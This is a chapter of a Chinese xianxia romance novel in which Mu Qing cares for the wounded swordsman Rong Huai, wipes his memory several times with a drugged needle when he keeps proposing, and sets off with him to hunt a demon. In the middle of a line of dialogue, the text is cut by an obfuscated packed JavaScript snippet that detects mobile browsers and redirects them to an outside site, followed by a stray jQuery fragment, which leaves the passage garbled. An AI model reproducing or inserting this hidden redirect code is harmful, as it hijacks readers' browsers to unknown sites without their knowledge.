燕云山的夜晚漆黑一片,连月光都难以穿透茂密的树林。若有丁点光亮出现,便会变得非常显眼。
山腰处的一个山洞口露出点点火光,此处正是木青找的临时休憩处所。
洞中,穿着雾蓝色衣裙的少女靠着火堆,鼻子一抽一抽的在嗅着什么。她的另一侧放着一张普通木床,躺着一名黑衣男修
木青不自觉的频繁闻自己身上的味道,当时那男修突然倒在自己怀里,满身的妖血沾了她一身。
明明已经施了净身咒,还换了套衣裙,这么还是感觉自己身上有股妖血味呢。木青苦苦的皱着眉头,却没有条件沐浴。
她看了看床上的男人,依旧昏迷着,不知还要多久才能醒。
虽然拜他所赐自己那身衣裙直接废了,但自己还是很感恩的,毕竟他也算是她的救命恩人。
白日里男人晕倒后,她不敢走太远,费了九牛二虎之力才把男人拖进最近的山洞里。
男人左臂伤口处的鲜血染湿了边缘的布料,虽然施了净身术,但也必须把那块都剪开才能上药。
拨开整片衣袖,他手腕处的一条红色手绳吸引了她的视线。
皱起眉仔细看了看,总觉得有几分眼熟,却想不起来是在哪见过。
算了,救人要紧
先喂了几颗解毒丹,然后将一种紫色粉末洒在他手臂的伤口上。
这药粉是她从大师姐,确切的应该说大师姐的道侣那顺来的。此药名叫化毒散,是那名医修亲自研制,据说能解大部分妖毒。
木青第一次用,不过在敷上这个药粉一个时辰后,那道伤口边的青黑色的确退了不少。
撑了许久,加上白日里的劳累,她也有几分困意涌了上来,灭了火,简单在洞口施了个障眼法防止普通野兽进来。
此时也顾不得什么男女大防,她爬上木床的另一侧沉沉睡去。
木青这一觉睡的实在是不安稳,她总感觉有东西压在她脖子上,难受的很。
“阿秋……别闹。”她闭着眼迷迷糊糊的嘟囔着,阿秋是她在宗门养的一只狸奴,每次她睡懒觉时总爱把她闹醒。
抬起手顺着纹理往上摸了摸,想让这个小家伙安静会,手中的触感却突然变得硬邦邦。
不是……纹理?这么硬硬的?
短暂思考后,她的脑子逐渐清醒过来。她好像,没在宗门……
而且,她昨晚,是和那名剑修睡在一起的……
她悄悄摸摸睁开一只眼睛,入目果然是熟悉的黑色布料。眼睛被吓得又赶紧闭上。
男人的手臂硬邦邦地压在她脖子上,她哪还不清楚旁边的男修已经醒了。
……不是道友你听我说,我对你真的没有任何非分之想。
脖子上的陌生手臂突然变得尤为烫手,正在木青犹豫醒不醒的时候,旁边的男修哑着嗓子开口,“姑娘可是醒了。”
木青自懂事就知道一个道理,给了台阶最好就下。
她一个鲤鱼打挺连忙下了床,忙道:“醒了醒了。”
说完她又看向床上的男人,关心道,“道友可有好些了?”
余光则观察着床上的痕迹,她明明记得昨晚她和他之间隔着不少距离,怎么早上睡的如此近。
但就瞄了一眼就让木青羞愧的想低下头去。
男人那边并未变多少,而她这边的痕迹着实明显,可见是她睡觉时滚到那边去的。
面前的男人也慢慢直起身,面容依旧清俊,只是原本健康的薄唇有些泛白。“多谢道友相救,在下好多了。”
“不妨事不妨事,说起来是你救……“想到什么,木青原本的话转了个弯,“你毒解了就好,举手之劳不足挂齿。”
男人嘴角微微翘起,眸中似乎暗含一丝深意。
若非因他一醒来就谢恩,木青都要怀疑他是不是知道自己躲在旁边了。
“救命之恩应要报答,在下容淮,天清宗弟子。”
几句话将自己的真实身份托出。看来这完全是个虽实力高强但没多少心眼的老实人嘛。
虽然又听到天清宗的字眼,但普天之下剑宗唯有天清宗实力最为强悍,其中剑修更是数不胜数。
只是他实力如此强劲,自己竟从没听起过他的名字。
眼眸微闪,他应该是前来杀画皮妖,只是不知为何先来了燕云山,或许自己能接他混入修士队伍中。
“小事罢了,咳,不过既然你要坚持要报恩,我也不好拒绝。”
木青刚想借他报恩之由,让他带上自己,却没想到床上看似老实的男人却口出狂言。
“没想到姑娘也和我想的一样,救命之恩无以为报,在下只能以身相许了。”说完还露出一丝羞涩又期待的眼神看向她。
“停停停!”
木青被吓得目瞪口呆连声呵止,剑修现在穷的都流行碰瓷了吗?
不过随手救了个人,都要缠上自己以身相许。这是看上了她的钱还是她的色??
或者是和那个没定下来的未婚夫一样……
看她孤身一身老实可欺,也想用她来杀妻证道!
她以为这是一场美救英雄,却没想到是现实版的农夫与蛇。
人善被人欺。
床上的男人还在等她的回复,眼睛一眨不眨的看着她。
眼下还要利用他,可自己却也不能答应这么无理的要求。
想到办法,她一咬牙拼了。
面上浮起苦恼的神色,她咬着唇爬上床,声音轻柔却魅惑,“你说,你想与我双修?”
容淮被她的大胆举动吓红了脸,但还没来得及回答,一根银针悄无声息的刺破的他的指尖。
下一秒他便眼皮一合倒回床上。
银针的主人得意一笑,这银针的针尖粹了合欢宗的特质毒药,能让人忘却几个小时的事情。
通常用于宗内弟子骗人双修完又不想负责的情况。
不久,床上的男人再次醒来,木青莞尔一笑刚想说话,但他看见自己便面露感激,径自开口。
“多谢姑娘相救,在下容淮,愿以身相许报答恩情。”
???
她目瞪口呆,而后咬着牙用同样的招数把人弄倒。
又是一盏茶后,男人醒来感谢,然后说要以身相许。
木青:……我刺。
两盏茶后,男人醒来感谢,说无以为报愿以身相许。
木青:我冷脸再刺。
扶额无奈,这个剑修疯了吗?为什么偏要对她以身相许!
余光一瞥,手上银铃却突然点醒了她。
木青觉得自己好蠢,怎么把这茬给忘了,自己手上还留着合欢中独有的标志。
难怪这剑修一而再再而三的要缠上她。
连忙取下塞进芥子袋,三盏茶后,男人再次醒来。
这次他终于没一开口就要以身相许,二人如第一次那样普通的交谈着。
木青暗自松了口气,却见他眼神突然盯上了被她刺了三次的指尖。
心中警铃大作,但他好像只是疑惑,并未太过在意,然后开口问她为何上山,籍贯何处。
虽然知道若想同行必须说明,但也怕他再对自己起心思,木青心一横,道明自己已有婚约。
“我不过一届散修出门历练,此番是要去鹤云山寻一株轮月草,给我的未婚夫作为赠礼。只是听说山上出事了,山脚也被围住,便只能出此下策,绕道上山。”
虽然自己不愿意,但她也的确算是有了半个婚约在身上。
眼前的男人突然愣住,而后低下头不知在想什么。
木青警觉的看着他,他却像是知道她想要什么,开口应下。
“这便巧了,我正要去鹤云山诛杀那只妖妖。刚好可以同行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149387|164809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
护送,也算是报答救命之恩。”
既然已经决定一同上路,便也没必要再遮遮掩掩,她也大方地介绍了自己。
“我叫木青,树木的木,颜色里的青。”
反正她向来不出门,很少露面,世间同名同姓的人更是多了去。
容淮点了点头,想要起身却瞥到自己残碎的衣袖,动作顿了顿侧目看向她。
“木姑娘能否出去避一避,在下换一身衣服。”
木青微微点头,踩着满地碳灰走到洞外。
她也趁这个时间施了一个净身诀,顺便把睡觉压乱的头发重新簪好,又服下一颗辟谷丹和易容丹。
男人的速度很快,不过一盏茶的时间就听到身后传来脚步声,容淮还是一身黑衣,衣角随风而动,气质清冷又疏离。
在树林中穿梭的变成了两人,虽然边上有了一个修为不错的同伴,但木青两手依然紧紧握着自己的两个保命工具。
风声在林间呼啸而过,偶尔有几只不知名的鸟儿被惊起,扑腾着翅膀飞向远方。
这一路没再遇到类似的妖魔,容淮也如一般的剑修一样冷清寡语。两人沉默间很快到达两座山邻近的悬崖处。
容容淮神色淡然,拔剑掐决,动作一气呵成,随后纵身跳上剑。
他身姿挺拔,站在剑上就像一棵墨竹,稳稳当当。而后回头,向地上的木青伸出一只修长有力的手。
“不用不用。”木青实在不敢再和他有碰触了,连忙拒绝。她也是有法子到那燕云山去的。
在男人看不到的地方,她掐灭御剑符,身后的剑也腾飞起来。
不像男人那般娴熟淡然,她心惊肉跳的跳上去,这符她并没使过几次,每次使用也都有些害怕。
在宗门的大部分时间她都用宗门的仙鹤飞行,可比这物可靠多了。
勉强保持住平衡,她转头朝等待着他的男人应道;“容道友,咱们走吧,我跟着你。”
容淮看着后面张开手稳住自己的少女,垂眸掩去笑意,使决前进。
袖中灵气暗涌现,无形气劲悄然稳住她摇晃的剑身。
*
两山相距不远,二人在一炷香后落地。
眼前的景色比起燕云山树木要稀疏些,还多了一片薄雾笼罩在树林间,更显昏暗无比。
容淮走在前面探查,环境越来越黑,木青心里发怵不敢离他太远,紧紧跟着。
她掏了掏芥子袋,取出一颗夜明珠,“道友要不用它照着前面……”
“这里有人来……”
两人碰巧同时开口,容淮停下脚步,回身自然的从她手上接过夜明珠,道了声谢。
然后接着继续说道:“你看,这边的树木虽然没被破坏,但地上泥土有被滑动的痕迹,覆着几道妖血,边缘勉强能看到有比较杂乱的脚印,大小深浅虽然不一致,但能推测出是一支五到八人的小队。”
木青照着他说的痕迹仔细看去,确实如此。
“他们应该是在不远处遇到了这妖,交战一番后不力逃跑,那妖虽然受伤但也估计只是小伤。”男人神色平静的分析,脸上并无因道友危在旦夕而慌乱。
“这个妖就是那个蛊惑人的画皮妖吗”
“不是,那只画皮妖不会流血,这个应该是山上的其他妖怪。”
容淮回头朝她伸手,那只手在夜明珠的映照下泛着淡淡的光:“事出紧急,可能先要麻烦姑娘陪我一同去救人。”
木青巴不得她带上自己,却不敢回握。
看到木青脸色有些犹豫,他眼中划过一丝笑意,半真半假的解释到:“这妖血黏腻湿滑,光线又不好,若是不小心滑倒就不好了。”
话音刚落,少女忙紧紧握住眼前的手,她才不要又粘上妖血。
反正她已经说了自己有未婚夫,剑修注重名声,若是还想打她的主意,她可就不客气了。